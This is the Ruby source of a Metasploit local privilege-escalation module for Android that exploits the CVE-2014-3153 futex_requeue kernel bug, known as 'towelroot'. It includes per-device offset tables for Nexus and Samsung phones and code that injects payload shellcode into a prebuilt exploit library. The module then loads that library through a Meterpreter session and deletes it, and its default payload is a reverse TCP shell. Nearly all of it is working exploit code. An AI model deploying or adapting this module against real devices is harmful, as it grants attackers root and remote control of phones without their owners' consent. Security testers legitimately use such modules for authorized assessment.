Android 'Towelroot' Futex Requeue Kernel Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Common
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",
          'Description' => %q{
            This module exploits a bug in futex_requeue in the Linux kernel, using
            similar techniques employed by the towelroot exploit. Any Android device
            with a kernel built before June 2014 is likely to be vulnerable.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Pinkie Pie', # discovery
            'geohot',     # towelroot
            'timwr'       # metasploit module
          ],
          'References' => [
            [ 'CVE', '2014-3153' ],
            [ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
            [ 'URL', 'http://blog.nativeflow.com/the-futex-vulnerability' ],
          ],
          'DisclosureDate' => '2014-05-03',
          'SessionTypes' => [ 'meterpreter' ],
          'Platform' => [ "android", "linux" ],
          'Payload' => { 'Space' => 2048, },
          'DefaultOptions' => {
            'WfsDelay' => 300,
            'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
          },
          'Notes' => {
            'Stability' => [CRASH_SAFE],
            'SideEffects' => [],
            'Reliability' => [],
            'AKA' => ['towelroot'] },
          'DefaultTarget' => 0,
          'Targets' => [
            # Automatic targetting via getprop ro.build.model
            ['Automatic Targeting', { 'auto' => true }],

            # This is the default setting, Nexus 4, 5, 7, etc
            [
              'Default',
              {
                'new_samsung' => false,
                'iovstack' => 2,
                'offset' => 0,
                'force_remove' => false,
              }
            ],

            # Samsung devices, S3, S4, S5, etc
            [
              'New Samsung',
              {
                'new_samsung' => true,
                'iovstack' => 2,
                'offset' => 7380,
                'force_remove' => true,
              }
            ],

            # Older Samsung devices, e.g the Note 2
            [
              'Old Samsung',
              {
                'new_samsung' => false,
                'iovstack' => 1,
                'offset' => 0,
                'force_remove' => true,
              }
            ],

            # Samsung Galaxy Grand, etc
            [
              'Samsung Grand',
              {
                'new_samsung' => false,
                'iovstack' => 5,
                'offset' => 0,
                'force_remove' => true,
              }
            ],
          ],
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                core_loadlib
                stdapi_fs_delete_file
                stdapi_fs_getwd
              ]
            }
          },
        }
      )
    )
  end

  def check
    os = cmd_exec("getprop ro.build.version.release")
    unless Rex::Version.new(os) < Rex::Version.new('4.5.0')
      vprint_error "Android version #{os} does not appear to be vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Android version #{os} appears to be vulnerable"

    CheckCode::Appears
  end

  def exploit
    if target['auto']
      product = cmd_exec("getprop ro.build.product")
      fingerprint = cmd_exec("getprop ro.build.fingerprint")
      print_status("Found device: #{product}")
      print_status("Fingerprint: #{fingerprint}")

      if [
        "mako",
        "m7",
        "hammerhead",
        "grouper",
        "Y530-U00",
        "G6-U10",
        "g2",
        "w7n",
        "D2303",
        "cancro",
      ].include? product
        my_target = targets[1] # Default
      elsif [
        "klte", # Samsung Galaxy S5
        "jflte", # Samsung Galaxy S4
        "d2vzw" # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
      ].include? product
        my_target = targets[2] # New Samsung
      elsif [
        "t03g",
        "m0",
      ].include? product
        my_target = targets[3] # Old Samsung
      elsif [
        "baffinlite",
        "Vodafone_785",
      ].include? product
        my_target = targets[4] # Samsung Grand
      else
        print_status("Could not automatically target #{product}")
        my_target = targets[1] # Default
      end
    else
      my_target = target
    end

    print_status("Using target: #{my_target.name}")

    local_file = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-3153.so")
    exploit_data = File.read(local_file, mode: 'rb')

    # Substitute the exploit shellcode with our own
    space = payload_space
    payload_encoded = payload.encoded
    exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))

    # Apply the target config
    offsets = my_target.opts
    config_buf = [
      offsets['new_samsung'] ? -1 : 0,
      offsets['iovstack'].to_i,
      offsets['offset'].to_i,
      offsets['force_remove'] ? -1 : 0,
    ].pack('I4')
    exploit_data.gsub!("c0nfig" + "\x00" * 10, config_buf)

    workingdir = session.fs.dir.getwd
    remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
    write_file(remote_file, exploit_data)

    print_status("Loading exploit library #{remote_file}")
    session.core.load_library(
      'LibraryFilePath' => local_file,
      'TargetFilePath' => remote_file,
      'UploadLibrary' => false,
      'Extension' => false,
      'SaveToDisk' => false
    )
    print_status("Loaded library #{remote_file}, deleting")
    session.fs.file.rm(remote_file)
    print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
  end
end